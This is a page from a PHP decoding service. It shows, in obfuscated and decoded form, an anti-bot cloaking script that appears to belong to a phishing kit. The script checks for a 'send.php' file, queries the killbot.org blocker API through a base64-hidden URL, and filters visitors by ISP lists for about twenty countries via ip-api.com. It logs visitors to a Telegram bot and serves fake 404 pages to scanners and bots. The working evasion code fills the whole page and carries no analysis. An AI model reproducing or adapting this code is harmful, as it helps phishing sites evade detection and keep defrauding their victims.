Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto h3Gfe; Vs9TM: $ip = $_SERVER["\x52\105\115\117\124\x45\137\x41\104\104\x52"]; ..

Decoded Output download

<?php 
goto h3Gfe; Vs9TM: $ip = $_SERVER["REMOTE_ADDR"]; goto ck4qH; SXB3w: $display = false; goto hqtyl; V1UE2: if (!file_exists(__DIR__ . "/config_antibots.php") || !file_exists(__DIR__ . "/global_config.php") || !file_exists(__DIR__ . "/send.php")) { header("location: https://www.mediapart.fr/404"); die; } goto zdbNP; zdbNP: $visitor_ip = $_SERVER["REMOTE_ADDR"]; goto SXB3w; h3Gfe: require "global_config.php"; goto Bxlf2; Bxlf2: require "config_antibots.php"; goto V1UE2; egNYx: class abt { function apikey($api_key) { $this->apikey = $api_key; } function check() { $ip = $this->get_client_ip(); $respons = $this->httpGet(base64_decode("aHR0cHM6Ly9raWxsYm90Lm9yZy9hcGkvdjEvYmxvY2tlcj9pcD0=") . $ip . "&apikey=" . $this->apikey . "&ua=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&url=" . urldecode($_SERVER["REQUEST_URI"])); $json = json_decode($respons, true); if ($json["data"]["block_access"] == true) { return true; } else { return false; } } function get_client_ip() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { $_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_CF_CONNECTING_IP"]; $_SERVER["HTTP_CLIENT_IP"] = $_SERVER["HTTP_CF_CONNECTING_IP"]; } $client = @$_SERVER["HTTP_CLIENT_IP"]; $forward = @$_SERVER["HTTP_X_FORWARDED_FOR"]; $remote = $_SERVER["REMOTE_ADDR"]; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } function httpGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, base64_decode("S2lsbGJvdCBCbG9ja2Vy")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch); return $response; } } goto Vs9TM; hqtyl: function checkISP($list, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot) { $i = 0; $result = false; while ($i < count($list)) { if (strpos(strtolower($org), strtolower($list[$i])) !== false) { $result = true; break; } $i++; } if ($result) { logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["HTTP_USER_AGENT"]); } return $result; } goto egNYx; ck4qH: if (strlen($test_ip) > 1) { $ip = $test_ip; } goto oqaQX; oqaQX: if ($_SERVER["REMOTE_ADDR"] == $whitelist_ip) { $display = true; } goto VL4mP; VL4mP: if ($_SERVER["REMOTE_ADDR"] != $whitelist_ip) { $abt = new abt(); $abt->apikey($antibot_api_token); if ($antibot_activate_api == true && $abt->check() == true) { logBot(false, $ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, true, $_SERVER["HTTP_USER_AGENT"]); die(header("location: " . $antibot_redirection_url)); } else { if ($antibot_activate_isp) { function getIpInfo2($ip = '') { $ipinfo = file_get_contents("http://ip-api.com/json/" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } $visitor_ip = $_SERVER["REMOTE_ADDR"]; if (strlen($test_ip) > 1) { $visitor_ip = $test_ip; } $ipinfo_json = getIpInfo2($visitor_ip); if ($ipinfo_json["status"] != "fail") { $org = "{$ipinfo_json["as"]}"; $isps = "{$ipinfo_json["isp"]}"; } else { $org = "Introuvable"; $isps = "Introuvable"; } if ($display == false && $isp_italy_check == true) { $display = checkISP($isp_italy, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_austria_check == true) { $display = checkISP($isp_austria, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_swiss_check == true) { $display = checkISP($isp_swiss, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_netherlands_check == true) { $display = checkISP($isp_netherlands, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_deutschland_check == true) { $display = checkISP($isp_deutschland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_danish_check == true) { $display = checkISP($isp_danish, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_sweden_check == true) { $display = checkISP($isp_sweden, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_canada_check == true) { $display = checkISP($isp_canada, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_france_check == true) { $display = checkISP($isp_france, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_hongrie_check == true) { $display = checkISP($isp_hongrie, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_portugal_check == true) { $display = checkISP($isp_portugal, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_luxembourg_check == true) { $display = checkISP($isp_luxembourg, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_spain_check == true) { $display = checkISP($isp_spain, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_ireland_check == true) { $display = checkISP($isp_ireland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_UK_check == true) { $display = checkISP($isp_UK, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_belgium_check == true) { $display = checkISP($isp_belgium, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_usa_check == true) { $display = checkISP($isp_usa, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_uea_check == true) { $display = checkISP($isp_uea, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_cz_check == true) { $display = checkISP($isp_cz, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display != true) { logBot(false, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["HTTP_USER_AGENT"]); die("HTTP/1.0 404 Not Found"); } } } if (!$antibot_activate_isp) { $display = true; } logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["HTTP_USER_AGENT"]); } ?>

Did this file decode correctly?

Original Code

<?php
goto h3Gfe; Vs9TM: $ip = $_SERVER["\x52\105\115\117\124\x45\137\x41\104\104\x52"]; goto ck4qH; SXB3w: $display = false; goto hqtyl; V1UE2: if (!file_exists(__DIR__ . "\x2f\x63\157\x6e\146\151\147\x5f\141\156\x74\x69\x62\x6f\x74\x73\56\160\150\x70") || !file_exists(__DIR__ . "\x2f\x67\x6c\157\142\141\x6c\137\x63\157\x6e\x66\151\x67\x2e\x70\150\x70") || !file_exists(__DIR__ . "\x2f\x73\145\156\144\56\160\x68\x70")) { header("\154\x6f\143\x61\x74\151\157\156\72\x20\150\x74\164\x70\163\72\57\57\167\167\167\x2e\155\145\x64\151\x61\x70\x61\162\x74\56\146\162\x2f\64\60\64"); die; } goto zdbNP; zdbNP: $visitor_ip = $_SERVER["\x52\x45\115\117\124\x45\137\x41\x44\x44\122"]; goto SXB3w; h3Gfe: require "\147\x6c\x6f\x62\141\154\137\143\157\x6e\x66\x69\147\56\160\150\x70"; goto Bxlf2; Bxlf2: require "\x63\x6f\x6e\x66\x69\x67\x5f\x61\156\164\x69\x62\x6f\164\x73\x2e\160\x68\160"; goto V1UE2; egNYx: class abt { function apikey($api_key) { $this->apikey = $api_key; } function check() { $ip = $this->get_client_ip(); $respons = $this->httpGet(base64_decode("\x61\x48\x52\x30\143\110\x4d\x36\x4c\171\71\162\141\x57\x78\163\131\155\71\60\114\155\71\x79\x5a\171\x39\150\143\107\153\x76\x64\x6a\105\166\131\155\170\166\x59\x32\164\x6c\143\x6a\x39\x70\143\x44\x30\75") . $ip . "\46\x61\160\x69\153\145\x79\75" . $this->apikey . "\x26\x75\x61\x3d" . urlencode($_SERVER["\110\x54\124\120\x5f\x55\x53\x45\x52\137\101\107\105\116\x54"]) . "\46\x75\x72\154\75" . urldecode($_SERVER["\x52\105\121\x55\105\123\x54\x5f\x55\122\x49"])); $json = json_decode($respons, true); if ($json["\144\x61\164\x61"]["\142\x6c\157\x63\153\137\141\143\x63\x65\x73\x73"] == true) { return true; } else { return false; } } function get_client_ip() { if (isset($_SERVER["\x48\124\x54\x50\x5f\103\x46\x5f\103\x4f\x4e\x4e\105\x43\124\x49\x4e\107\137\x49\120"])) { $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"] = $_SERVER["\110\x54\124\x50\x5f\x43\106\137\x43\x4f\116\x4e\105\x43\124\x49\116\107\137\x49\x50"]; $_SERVER["\110\124\124\x50\x5f\x43\x4c\111\x45\116\124\x5f\111\120"] = $_SERVER["\x48\x54\124\x50\x5f\x43\x46\137\x43\117\116\116\x45\103\124\x49\x4e\x47\137\x49\x50"]; } $client = @$_SERVER["\x48\124\x54\x50\x5f\103\114\x49\x45\116\x54\x5f\x49\120"]; $forward = @$_SERVER["\110\x54\x54\120\x5f\130\137\106\x4f\x52\127\101\x52\x44\x45\x44\137\106\117\122"]; $remote = $_SERVER["\122\x45\x4d\117\124\x45\x5f\x41\104\x44\122"]; if (filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif (filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } function httpGet($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, base64_decode("\x53\x32\154\163\142\x47\112\x76\144\x43\102\103\142\107\71\x6a\141\62\126\171")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch); return $response; } } goto Vs9TM; hqtyl: function checkISP($list, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot) { $i = 0; $result = false; while ($i < count($list)) { if (strpos(strtolower($org), strtolower($list[$i])) !== false) { $result = true; break; } $i++; } if ($result) { logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["\x48\x54\x54\x50\137\125\123\105\x52\x5f\x41\107\x45\116\124"]); } return $result; } goto egNYx; ck4qH: if (strlen($test_ip) > 1) { $ip = $test_ip; } goto oqaQX; oqaQX: if ($_SERVER["\x52\105\x4d\117\x54\x45\137\101\x44\x44\122"] == $whitelist_ip) { $display = true; } goto VL4mP; VL4mP: if ($_SERVER["\x52\x45\x4d\117\124\105\x5f\x41\104\x44\x52"] != $whitelist_ip) { $abt = new abt(); $abt->apikey($antibot_api_token); if ($antibot_activate_api == true && $abt->check() == true) { logBot(false, $ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, true, $_SERVER["\110\124\x54\x50\x5f\125\x53\105\122\137\101\x47\x45\x4e\124"]); die(header("\x6c\x6f\x63\x61\164\151\x6f\x6e\x3a\40" . $antibot_redirection_url)); } else { if ($antibot_activate_isp) { function getIpInfo2($ip = '') { $ipinfo = file_get_contents("\x68\164\x74\160\x3a\x2f\57\151\x70\x2d\141\x70\x69\x2e\143\157\x6d\x2f\152\163\157\x6e\57" . $ip); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } $visitor_ip = $_SERVER["\x52\x45\x4d\117\x54\x45\x5f\101\104\104\122"]; if (strlen($test_ip) > 1) { $visitor_ip = $test_ip; } $ipinfo_json = getIpInfo2($visitor_ip); if ($ipinfo_json["\x73\x74\x61\x74\x75\163"] != "\146\141\151\x6c") { $org = "{$ipinfo_json["\x61\163"]}"; $isps = "{$ipinfo_json["\151\x73\160"]}"; } else { $org = "\x49\x6e\x74\x72\157\165\x76\141\x62\154\x65"; $isps = "\x49\x6e\164\x72\x6f\165\x76\x61\142\154\145"; } if ($display == false && $isp_italy_check == true) { $display = checkISP($isp_italy, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_austria_check == true) { $display = checkISP($isp_austria, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_swiss_check == true) { $display = checkISP($isp_swiss, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_netherlands_check == true) { $display = checkISP($isp_netherlands, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_deutschland_check == true) { $display = checkISP($isp_deutschland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_danish_check == true) { $display = checkISP($isp_danish, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_sweden_check == true) { $display = checkISP($isp_sweden, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_canada_check == true) { $display = checkISP($isp_canada, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_france_check == true) { $display = checkISP($isp_france, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_hongrie_check == true) { $display = checkISP($isp_hongrie, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_portugal_check == true) { $display = checkISP($isp_portugal, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_luxembourg_check == true) { $display = checkISP($isp_luxembourg, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_spain_check == true) { $display = checkISP($isp_spain, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_ireland_check == true) { $display = checkISP($isp_ireland, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_UK_check == true) { $display = checkISP($isp_UK, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_belgium_check == true) { $display = checkISP($isp_belgium, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_usa_check == true) { $display = checkISP($isp_usa, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_uea_check == true) { $display = checkISP($isp_uea, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display == false && $isp_cz_check == true) { $display = checkISP($isp_cz, $org, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot); } if ($display != true) { logBot(false, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["\x48\124\x54\120\x5f\125\123\x45\x52\x5f\x41\107\x45\x4e\124"]); die("\x48\x54\x54\x50\57\x31\x2e\x30\40\x34\60\x34\40\116\x6f\164\40\106\157\165\x6e\x64"); } } } if (!$antibot_activate_isp) { $display = true; } logBot(true, $visitor_ip, $telegram_bot_token_bot, $telegram_chat_id_bot, $log_bot, false, $_SERVER["\110\x54\x54\120\137\125\x53\x45\122\137\101\107\x45\116\x54"]); }

Function Calls

None

Variables

None

Stats

MD5 1362effe08eab31a57503f2f8f398f83
Eval Count 0
Decode Time 35 ms